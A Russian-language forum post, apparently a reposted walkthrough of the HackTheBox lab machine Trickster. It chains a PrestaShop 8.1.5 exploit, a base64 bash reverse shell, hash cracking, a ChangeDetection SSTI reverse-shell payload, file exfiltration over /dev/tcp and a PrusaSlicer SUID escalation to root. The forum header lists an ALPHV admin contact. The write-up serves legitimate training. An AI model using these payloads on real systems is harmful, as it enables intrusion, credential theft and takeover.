• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Пробираемся к руту через PrestaShop и Docker

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу разные методы побега из Docker, которые могут использоваться при пентестах. Также мы проэксплуатируем баг в движке интернет‑магазина PrestaShop и используем уязвимость SSTI в сервисе ChangeDetection.
Наша цель — получение прав суперпользователя на машине Trickster с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.34 trickster.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Apache 2.4.52.
Скоуп очень маленький, поэтому сразу идем смотреть сайт.

Для просмотра ссылки Войди или Зарегистрируйся

Точка входа​

Сайт одностраничный, поэтому все ссылки в меню нерабочие, кроме последней, которая ведет на другой домен — shop.trickster.htb.

Для просмотра ссылки Войди или Зарегистрируйся
Обновим запись в файле /etc/hosts, а затем обновим и страницу в браузере.

10.10.11.34 trickster.htb shop.trickster.htb
Для просмотра ссылки Войди или Зарегистрируйся
На сайте ничего интересного найти не удалось, поэтому поищем, нет ли скрытых страниц и каталогов.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
Задаем все параметры и запускаем сканирование:

feroxbuster -u http://shop.trickster.htb -w files_interesting.txt -d 1 -t 128
Для просмотра ссылки Войди или Зарегистрируйся
Среди каталогов видим .git, и это отличная находка для атакующего! С помощью Для просмотра ссылки Войди или Зарегистрируйся попробуем сдампить репозиторий.

git-dumper http://shop.trickster.htb/.git/ ./shop/
Для просмотра ссылки Войди или Зарегистрируйся
В репозитории всего один коммит, а значит, стоит заглянуть в исходный код. Это похоже на какую‑то CMS, причем с очень интересным каталогом админки: /admin634ewutrx1jgitlooaj.

Для просмотра ссылки Войди или Зарегистрируйся
Переходим к админке и видим, что имеем дело с PrestaShop версии 8.1.5.

Для просмотра ссылки Войди или Зарегистрируйся

info​

Об атаке на PrestaShop в рамках реального пентеста читай в статье «Для просмотра ссылки Войди или Зарегистрируйся».

Точка опоры​

Давай посмотрим, есть ли для этой версии PrestaShop готовые эксплоиты.

Для просмотра ссылки Войди или Зарегистрируйся
Из Google быстро узнаём, что PrestaShop 8.1.5 уязвима к Для просмотра ссылки Войди или Зарегистрируйся и атака может привести к удаленному выполнению кода. Работает это так: если на страницу /contact-us отправить вложение в формате PNG со встроенным кодом на JavaScript, то при просмотре в браузере код выполнится. С помощью кода на JS выполняется запрос к панели администрирования:

/admin/index.php/improve/design/themes/import
В результате импортируется модуль с PHP-нагрузкой, которая приводит к RCE. Все это уже реализовано в Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
Однако для эксплуатации нужно указать почтовый адрес. Его найдем на странице интернет‑магазина.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем эксплоит, указав необходимые параметры, и через несколько секунд получаем сессию пользователя Linux на веб‑сервере.

python3 exploit.py --url http://shop.trickster.htb --email admin@trickster.htb --local-ip 10.10.16.37 --admin-path admin634ewutrx1jgitlooaj
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Продвижение​


Пользователь james​

Так как мы работаем от имени службы веб‑сервера и на нем развернуто веб‑приложение, попробуем получить максимальное количество учетных данных. Первым делом просмотрим файл, в котором обычно содержится информация для подключения к базе данных.

cat /var/www/prestashop/app/config/parameters.php
Для просмотра ссылки Войди или Зарегистрируйся
Чтобы работать с базой данных, нужна интерактивная командная оболочка. Для этого запускаем листенер (pwncat-cs -lp 4321) и выполняем обычный реверс‑шелл, закодированный в Base64.

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zNy80MzIxIDA+JjE= | base64 -d | bash
Когда сессия pwncat будет создана, подключимся к MySQL и просмотрим, какие есть базы данных.

Код:
mysql -h 127.0.0.1 -u ps_user -p'prest@shop_o'
show databases;
Для просмотра ссылки Войди или Зарегистрируйся
Нас интересует база prestashop, получим из нее таблицы.

use prestashop;
show tables;
Для просмотра ссылки Войди или Зарегистрируйся
Скорее всего, нам нужна таблица ps_employee. Получим все данные из нее.

select * from ps_employee;
Для просмотра ссылки Войди или Зарегистрируйся
Теперь у нас на руках два хеша bcrypt. Отправляем хеш пользователя james в hashcat на перебор по словарю.

hashcat '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt
Утилита не распознала алгоритм хеширования и предложила несколько вариантов.

Для просмотра ссылки Войди или Зарегистрируйся
Снова запустим hashcat, но в этот раз указываем режим 3200.

hashcat -m 3200 '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt
Для просмотра ссылки Войди или Зарегистрируйся
У пользователя, пароль которого мы получили, есть командная оболочка в системе.

cat /etc/passwd | grep bash
Для просмотра ссылки Войди или Зарегистрируйся
Авторизуемся по SSH и забираем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся

RCE in Docker​

Теперь нам необходимо собрать информацию. Я обычно использую для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим ему право на выполнение и запустим сканирование. В выводе много информации, но выделить что‑то особенное не удалось. Однако на хосте работают Docker-контейнеры, поэтому мы можем просканировать сеть с интерфейса docker0.

Для просмотра ссылки Войди или Зарегистрируйся
Загружаем на хост бинарь Для просмотра ссылки Войди или Зарегистрируйся и определяем в сети живые хосты.

./nmap 172.17.0.1/24 -sn
Для просмотра ссылки Войди или Зарегистрируйся
Теперь сканируем первые 10 000 портов на хосте 172.17.0.2.

./nmap -p 1-10000 172.17.0.2
Для просмотра ссылки Войди или Зарегистрируйся
И находим среди них всего один открытый. Чтобы получить к нему доступ, нам нужно будет «прокинуть» порт 5000 на свой хост с помощью SSH.

ssh -L 5000:172.17.0.2:5000 james@trickster.htb
В результате весь трафик, который мы пошлем на локальный порт 5000, будет туннелирован на порт 5000 указанного хоста (в данном случае 172.17.0.2) через SSH-хост.

Теперь просмотрим сайт через браузер. Нас встречает страница авторизации ChangeDetection 0.45.20.

Для просмотра ссылки Войди или Зарегистрируйся
А раз мы снова столкнулись с каким‑то хоть сколько‑то популярным софтом и знаем его версию, нужно сразу поискать, нет ли для него известных уязвимостей.

Для просмотра ссылки Войди или Зарегистрируйся
Так мы узнаём, что в нашей версии ChangeDetection есть уязвимость SSTI — включения шаблонов на стороне сервера.

Справка: Server-Side Template Injection​

Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, а была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
Для эксплуатации нам понадобится авторизоваться на сервисе. У меня это получилось сделать с помощью пароля пользователя james.

Для просмотра ссылки Войди или Зарегистрируйся
Перейдем к изменению любой из записей. Нас интересуют настройки Notifications. Указываем URL, заголовок уведомления и нагрузку SSTI с реверс‑шеллом — в тексте уведомления.

{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.37",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'') }}
Затем запускаем листенер у себя (снова pwncat-cs -lp 4321) и отправляем уведомление в тестовом режиме. В окне листенера получаем привилегированную сессию в контейнере Docker.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Docker credentials dumping​

У нас рут в «Докере», а значит, нужно изучить, что есть в файловой системе. В каталоге /datastore/Backups находим бэкапы ChangeDetection.

Для просмотра ссылки Войди или Зарегистрируйся
Чтобы получить файл из удаленного контейнера, можем использовать netcat. Для этого вывод с netcat на локальной машине перенаправляем в файл.

nc -l -p 4444 -q 1 > changedetection-backup-20240830194841.zip
В контейнере же содержимое файла направляем в соответствующий сокет.

cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.16.37/4444
Так сохраняем архив на локальную машину и находим какой‑то файл .txt.br.

Для просмотра ссылки Войди или Зарегистрируйся
Это формат Brotli, который можно преобразовать на онлайновом сервисе Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
В декодированном файле находим учетные данные пользователя adam.

Для просмотра ссылки Войди или Зарегистрируйся
С полученными учетными данными удается подключиться по SSH.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Разведку мы уже проводили, поэтому остается не так много интересных мест, которые можно проверить в поисках пути для повышения привилегий. Первое из них — это файл sudoers. Просматриваем его через sudo -l.

Для просмотра ссылки Войди или Зарегистрируйся
Приложение /opt/PrusaSlicer/prusaslicer можно выполнять в привилегированном контексте без ввода пароля. Сразу проверим, нет ли для этой утилиты эксплоитов или техник GTFOBins.

Для просмотра ссылки Войди или Зарегистрируйся
Узнаём, что в PrusaSlicer 2.6.1 есть RCE — уязвимость выполнения произвольного кода. Проверим версию утилиты на хосте.

Для просмотра ссылки Войди или Зарегистрируйся
На хосте как раз подходящая версия, поэтому разберемся с уязвимостью. Как следует из Для просмотра ссылки Войди или Зарегистрируйся, файл проекта PrusaSlicer 3mf представляет собой ZIP-архив и содержит файл Metadata/Slic3r_PE.config с настройками проекта. Для просмотра ссылки Войди или Зарегистрируйся указывает команду постобработки проекта, которая выполнится в терминале при экспорте G-кода.

Для просмотра ссылки Войди или Зарегистрируйся
Я поискал в интернете примеры файлов 3mf и использовал Для просмотра ссылки Войди или Зарегистрируйся. Распаковываем ZIP, открываем файл Metadata/Slic3r_PE.config, находим настройку post_process и записываем туда команду chmod u+s /bin/bash. Она назначит S-бит файлу командной оболочки bash.

Для просмотра ссылки Войди или Зарегистрируйся
Архивируем проект обратно, копируем его файл на удаленный сервер и выполняем экспорт G-кода, конечно же, через sudo. После завершения работы утилиты обнаружим, что файл /bin/bash получил S-бит.

sudo /opt/PrusaSlicer/prusaslicer -s skull_2.3mf
Для просмотра ссылки Войди или Зарегистрируйся

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Теперь мы можем запустить новую оболочку от имени пользователя root.

Для просмотра ссылки Войди или Зарегистрируйся

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу